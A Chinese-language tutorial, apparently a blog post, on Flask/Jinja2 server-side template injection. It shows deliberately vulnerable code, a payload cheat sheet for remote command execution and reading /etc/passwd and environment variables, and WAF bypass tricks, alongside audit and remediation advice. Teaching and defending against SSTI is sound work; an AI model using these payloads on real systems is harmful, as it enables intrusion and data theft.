第一次让我真正意识到SSTI(Server-Side Template Injection,服务端模板注入)破坏力的,是一个内部系统里看起来人畜无害的搜索框。当时我只是把一个普通的数学表达式{{7*7}}填进了搜索关键词,页面居然回显了一个刺眼的49。那一刻我才反应过来:这已经不是简单的搜索功能了,它等于把整个服务端的模板解析权限直接交给了用户。后来我在Flask项目里复现了整个利用链,越发觉得模板注入是许多开发者和安全工程师之间认知差最大的一类漏洞。这篇文章就以Flask的Jinja2模板为例,从原理讲到常见payload,再讲过滤绕过和修复方案,争取让你看完之后能独立完成SSTI的发现、利用和防御。
我默认你有基本的Python和Flask使用经验,但即使你是刚接触Web安全的新手,只要你写过render_template或者render_template_string,这篇文章里的思路都能直接套用。
1. 先搞懂模板注入的本质
1.1 模板引擎解决了什么问题
模板引擎说白了就是一套“文档自动填充”机制。你去打印店办业务,店员给你一张空白表格,姓名、电话、办理事项都留了空,每次来一个人就填一份新表。Web里的模板引擎干的是同一件事:把写好的页面骨架保留下来,把里面需要变化的位置留成变量占位符,服务端再把真实数据填进去,渲染成最终HTML返回给浏览器。
Flask默认搭配的Jinja2就是这样一个模板引擎。它的语法核心就三类:
{{ 表达式 }}:输出表达式结果,比如{{ user.name }}会显示用户名;{% 语句 %}:控制结构,比如{% for item in list %}做循环;{# 注释 #}:模板注释,渲染时不会输出。
正常情况下,模板引擎只负责把“模板里的变量”替换成“后端传入的值”,它不会去执行模板文本里随意出现的东西。问题恰恰出在“模板文本从哪来”这一步。
1.2 漏洞产生的两个必要条件
SSTI要成立,需要同时满足两个条件:
第一,用户的输入最终进入了模板内容本身。也就是说,用户提交的字符串被当成了模板源码的一部分,而不是作为模板变量的值。
第二,这个输入没有被正确地转义,或者服务端直接用了一个能解析模板的执行函数来处理它。
看一个最典型的危险写法:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/hello') def hello(): name = request.args.get('name', '') return render_template_string('<p>hello, ' + name + '</p>')这里的name来自URL参数,直接被拼进了模板字符串,然后整段字符串被render_template_string当成模板去解析。当用户提交name={{7*7}}时,最终传给模板引擎的内容是:
<p>hello, {{7*7}}</p>模板引擎看到{{7*7}}就会乖乖把它当作表达式执行,输出49。
对比一下安全写法:
from flask import Flask, request, render_template app = Flask(__name__) @app.route('/hello') def hello(): name = request.args.get('name', '') return render_template('hello.html', name=name)这种情况下,模板引擎知道hello.html里的{{ name }}是变量占位符,而URL参数里的{{7*7}}只是字符串name的值,渲染时会被原样输出或者转义,不会被执行。差别就这么一句话,一个决定生死。
注意:
render_template_string本身不是原罪,真正的问题是把不可信的用户输入拼进模板字符串。很多人以为“我用的是render_template_string但项目不复杂,应该没事”,这种侥幸心理最危险。
2. Flask模板(Jinja2)的语法与漏洞入口
2.1 Jinja2里两个让你“翻车”的语法特性
Jinja2被选为SSTI入门案例,是因为它的表达能力非常强,强到一旦用户输入能到达模板层,几乎等于拿到了一个Python解释器的门把手。两个关键特性要留意:
第一个是“过滤器”。Jinja2允许对变量做管道式处理,比如{{ name | upper }}就是把name变成大写。过滤器看起来只是展示层的工具,但在SSTI利用里,attr()过滤器可以直接按名字取对象的属性,这成了绕过点号过滤的利器。
第二个是“全局对象”。Flask在渲染模板时,默认会往模板上下文里塞入一批对象和函数,比如config、request、url_for、lipsum、cycler、joiner等。这些对象平时大家几乎不用,但它们在SSTI里是“白送的趁手工具”,因为它们身上挂着Python对象的元数据,顺着这些元数据就能一路摸到系统层。
2.2 哪些代码写法等于“送人头”
我把常见的高危写法整理成了一张表,做代码审计或自查时可以照着对:
| 写法 | 风险等级 | 说明 |
|---|---|---|
render_template_string(request.args.get('tpl')) | 极高 | 用户输入直接被当成模板解析 |
Template(user_input).render(...) | 极高 | 等价于上面的写法 |
Environment().from_string(user_input) | 极高 | 动态编译用户输入为模板 |
render_template_string('<div>' + user_input + '</div>') | 极高 | 拼接后整体解析 |
先过滤{{再render_template_string | 中 | 存在绕过风险,黑名单不可靠 |
render_template('page.html', x=user_input) | 安全 | 输入作为变量值传入 |
这里要特别提醒一种业务场景:自定义邮件模板、自定义报表模板、在线简历模板。只要是让用户自己“写模板”或“填模板”,就默认把SSTI带进来了。我见过不止一个项目,把Markdown渲染、富文本编辑器的内容直接当模板字符串去解析,这种业务一旦上线,扫描器扫到只是时间问题。
2.3 为什么普通变量传参不会触发SSTI
有人会问:render_template('hello.html', name=user_input)的时候,如果name的值是{{7*7}},为什么页面不会执行?
因为模板引擎的解析流程是先“编译模板”,再“渲染变量”。hello.html这个文件在编译阶段就被固定下来了,里面的{{ name }}是语法节点。而name的值是渲染阶段才填充的数据,它是字符串,不是模板语法。要触发SSTI,必须让用户输入在“编译”之前混进模板源码。这就是“模板字符串拼接”和“模板变量传参”的本质区别。
3. 常见SSTI payload全拆解
3.1 第一步:探测注入点
SSTI探测和SQL注入探测思路一样,先丢几个无害表达式进去,看回显。
最简单的探测:
{{7*7}}如果页面返回49,直接确诊SSTI。
但是只测一个表达式不够,因为你不知道服务端到底用的什么模板引擎。我一般会用下面这组探测串:
{{7*7}} # Jinja2 / Twig 等 ${7*7} # FreeMarker 等 Java 模板 {{7*'7'}} # 区分Jinja2和Twig其中{{7*'7'}}特别有意思:在Jinja2里,字符串重复7次,结果是7777777;在Twig里,它是数字乘法,结果是49。返回不同的特征能帮你快速锁定模板引擎。
如果你用的是Flask,还有一条捷径:直接提交{{config}}。Jinja2渲染Flask模板时,config是默认注入的全局对象,如果页面把配置信息原样吐出来,基本就是Flask跑不了。
实操心得:探测参数不能只测URL里的GET参数。JSON body、POST表单、Cookie、上传文件的内容,只要能被服务端拼进模板的,都可能成为注入点。我曾经遇到过把SSTI藏在用户头像URL字段里的案例,页面会拼接一个img标签,实际效果是把URL字段名拼到模板字符串里。
3.2 第二步:获取Python对象链
确认是Jinja2之后,接下来要解决的问题是:怎么从一次模板渲染走到操作系统命令执行?
核心思路是借助Python对象的“魔术方法”。在Python里一切皆对象,字符串''也不例外。一个普通字符串对象可以通过下面的链条向上一层一层挖:
''.__class__:拿到字符串的类,也就是<class 'str'>;''.__class__.__mro__:拿到类的继承关系列表,里面会包含<class 'object'>;''.__class__.__mro__[1]:直接定位到object基类;object.__subclasses__():拿到当前Python进程里所有继承自object的子类。
也就是说,这一个表达式:
{{''.__class__.__mro__[1].__subclasses__()}}会返回当前服务端Python进程加载的所有类的列表。这个列表里有成百上千个类,其中就隐藏着可以执行系统命令的关键类,例如os._wrap_close、subprocess.Popen、warnings.catch_warnings等。
但问题来了:索引是多少?每次运行环境不同,类的顺序不一样。实战中不能靠猜,要靠枚举。你可以写一段简单的Python脚本,请求注入点,从返回的列表里搜索包含os、popen、subprocess的类名,然后拿到对应索引。
3.3 第三步:执行系统命令
拿到索引之后,利用方式就顺理成章了。关键一步是访问类对象的__init__方法,再拿到它的__globals__属性。__globals__是该函数所在模块的全局命名空间字典,里面通常躺着os、sys、subprocess这些模块。
一个完整的点名框架是:
{{''.__class__.__mro__[1].__subclasses__()[索引].__init__.__globals__['os'].popen('id').read()}}不过这个payload写起来太长,而且索引要现算。实际上Jinja2给我们准备了一批更省事的全局对象,可以直接用它们身上的__globals__,省去枚举子类的过程。
常用的有三种:
{{lipsum.__globals__['os'].popen('id').read()}} {{url_for.__globals__['os'].popen('cat /etc/passwd').read()}} {{cycler.__init__.__globals__.os.popen('ls -la').read()}}lipsum、url_for、cycler都是Flask渲染模板时默认注入的全局函数或对象,它们和字符串对象一样,都有相应的魔术属性。直接拿这些对象开刀,比枚举子类列表稳定得多。
3.4 常用payload速查表
| 目标 | payload |
|---|---|
| 基本探测 | {{7*7}} |
| Flask配置泄露 | {{config}} |
| 获取父类object | {{''.__class__.__mro__[1]}} |
| 列出所有子类 | {{''.__class__.__mro__[1].__subclasses__()}} |
| 读取环境变量 | {{lipsum.__globals__['os'].environ}} |
| 执行命令无回显 | {{lipsum.__globals__['os'].system('whoami')}} |
| 执行命令带回显 | {{lipsum.__globals__['os'].popen('whoami').read()}} |
| 调用Popen执行 | {{url_for.__globals__['subprocess'].Popen('id', shell=True, stdout=-1).communicate()}} |
提示:
os.system执行命令没有回显,适合“盲打”,比如反弹shell;os.popen(...).read()会把命令结果返回,适合快速验证。实战中先用id、whoami这种低危命令做验证,别一上来就弹shell,防止误伤线上环境。
4. 实战中的过滤与绕过
真实业务不会傻乎乎地裸奔,很多系统会做一层字符过滤。常见的过滤项包括:{{、}}、点号、下划线、引号、class、globals、os等关键词。每种过滤都有对应的绕过思路。
4.1 引号被过滤:把敏感字符塞进URL参数
如果单双引号被过滤,payload写不了'os'和'id'这种字符串字面量。最经典的办法是利用Flask渲染时注入的request对象,把字符串从URL参数里带进去。
比如目标过滤了引号,你可以提交:
{{lipsum.__globals__[request.args.os].popen(request.args.cmd).read()}}?os=os&cmd=id实际模板解析时,request.args.os会从查询参数里取到字符串os,等于把引号绕过去了。这个思路可以扩展到任意过滤字符:只要input里写不了黑名单字符,就把它放到请求参数里,用模板表达式去引用。
4.2 点号被过滤:用attr过滤器取属性
如果模板引擎把.给拦截了,传统的lipsum.__globals__会失效。Jinja2有一个内置过滤器attr(),它可以按字符串形式访问对象的属性。
正常写法:
{{lipsum.__globals__['os'].popen('id').read()}}绕过写法:
{{lipsum|attr('__globals__')['os'].popen('id').read()}}如果__globals__也带下划线被过滤了,可以继续用request.args:
{{lipsum|attr(request.args.a)[request.args.b]|attr(request.args.c)(request.args.d).read()}}?a=__globals__&b=os&c=popen&d=id这种写法里,payload主体几乎只有字母和管道符,过滤规则很难单靠黑名单拦截住。
4.3 下划线被过滤:十六进制编码和参数传值
下划线过滤在WAF里非常常见,因为所有魔术方法的命名都是双下划线加单词。既然直接写__class__会被拦,有两个办法。
一个是十六进制编码。Jinja2解析字符串字面量时,支持类似Python的转义序列,\x5f会还原成下划线。所以:
{{''['\x5f\x5fclass\x5f\x5f']}}可以绕过对_的简单字符串匹配。注意,某些WAF会对\x5f本身也做检测,但绝大多数只查_字面量。
另一个办法是配合attr过滤器加request参数:
{{lipsum|attr(request.args.a)}}?a=__globals__这样正文里完全没有双下划线。
4.4 关键词被过滤:用拼接绕黑名单
如果globals、popen这种词直接被拉黑,可以试试Jinja2的字符串拼接运算符~。Jinja2和Python不一样,它自带一个波浪号拼接符号。
{{lipsum.__globals__['os'].popen('id').read()}}popen被拦时,可以写成:
{{lipsum.__globals__['os']['po' ~ 'pen']('id').read()}}po和pen单独都不在黑名单里,拼接后才是popen。同理,__globals__被拦也可以拆开:
{{lipsum|attr('__glo' ~ 'bals__')['os'].popen('id').read()}}4.5 花括号被过滤:用语句标签绕过
极端情况下,{{和}}被拦了。这时候可以尝试Jinja2的语句标签{% %},配合print语句输出:
{% print(lipsum.__globals__['os'].popen('id').read()) %}{% print ... %}是Jinja2的调试输出方式,在很多过滤场景里能续命。还有一些环境开启了Jinja2的调试扩展,{% debug %}会把整个模板上下文对象直接输出,也是一种快速探测手段。
4.6 绕过时的避坑心得
绕过的时候有几个容易踩的坑。
第一,别一上来就试最复杂的绕过组合。先在原始payload上逐项测试,看WAF或者过滤逻辑到底拦了哪几项,再针对性绕过。我见过有人把十六进制编码、request参数、拼接全用上,结果发现原payload只是没闭合好。
第二,注意请求编码。WAF的检测对象经常是解码前的原始报文,所以URL编码、双重URL编码,甚至换行符拆分,都可能让同一段payload绕过检测。但反过来,服务端如果没做二次解码,payload又执行不了,这种要靠现场调试。
第三,payload不是越长越好。有些系统对请求长度有限制,超长payload直接414。这种时候优先用url_for、lipsum这类短payload。
5. 定位问题与修复方案
5.1 代码审查时的快速排查法
如果你在做一个Flask项目的安全评审,不需要看每一行代码,先全局搜索四个关键字:
render_template_string Template( from_string( Environment().from_string看到这四个,立刻追进去看第一个参数有没有拼接用户输入。第二个排查点是“自定义模板功能”。只要产品里有“用户编辑邮件模板/导出模板/报告模板”这类功能,就要默认它是SSTI高风险区。
还有一个小技巧:搜索format方法。str.format在Python里也能解析{}占位符,如果用户输入被拼进format字符串再执行,本质上也是一种模板注入。
5.2 从代码层面修复SSTI
修复的第一原则是:别让用户输入进入模板源码。能固定模板文件的地方,一律用render_template加载文件,把动态数据作为变量传进去。
错误写法:
return render_template_string('<div>' + user_input + '</div>')正确写法:
# 模板文件 index.html 中使用 <div>{{ content }}</div> return render_template('index.html', content=user_input)如果业务确实需要用户提供模板,比如自定义报表,那至少做到下面几点:
- 引入白名单校验,只允许少量HTML标签和纯文本,禁止
{{、{%、{#; - 使用Jinja2的沙箱环境,不要直接跑默认的Environment;
from jinja2 import Environment, FileSystemLoader from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment(loader=FileSystemLoader('templates'))- 及时升级依赖。Jinja2在多个历史版本里出现过沙箱逃逸漏洞,新版本修复了不少已知问题。用老版本等于把一个已知漏洞挂在公网上。
5.3 修复后的验证
修复完不是结束,要回归测试。把之前能打通的payload重新提交一遍,确认不再执行。推荐的回归测试payload就两类:数学运算{{7*7}}和读取类{{config}}。如果两个都不回显,基本可以认为注入路径堵住了。
注意:黑名单过滤只能算临时缓解。攻击者绕黑名单的手段永远比防守方加规则快,修代码和加治理必须并行。
6. 写在最后
我在实际测试中最大的体会是:SSTI不像SQL注入那样有标准的关键词报错,它更多时候是“静悄悄”的。你提交{{7*7}},页面如果真的回显了,很多人甚至不会觉得异常,只会以为是某个搜索功能把“花括号里的算式”当成文本处理了。所以每次做Flask项目代码评审,我都会条件反射式地搜一下render_template_string,看到了就多看两眼参数来源。
给还没踩过这个坑的同学一个建议:平时写代码时,脑子里多留根弦——用户输入最终会被当作数据,还是会被当作代码?如果能养成这个习惯,SSTI这类漏洞根本不会有机会穿过你的代码。最后再分享一个小技巧:线上环境不方便直接打命令时,先用{{config|string|safe}}这类带特征的回显payload做验证,既不会对系统造成影响,又能明确判断目标是否可深入利用。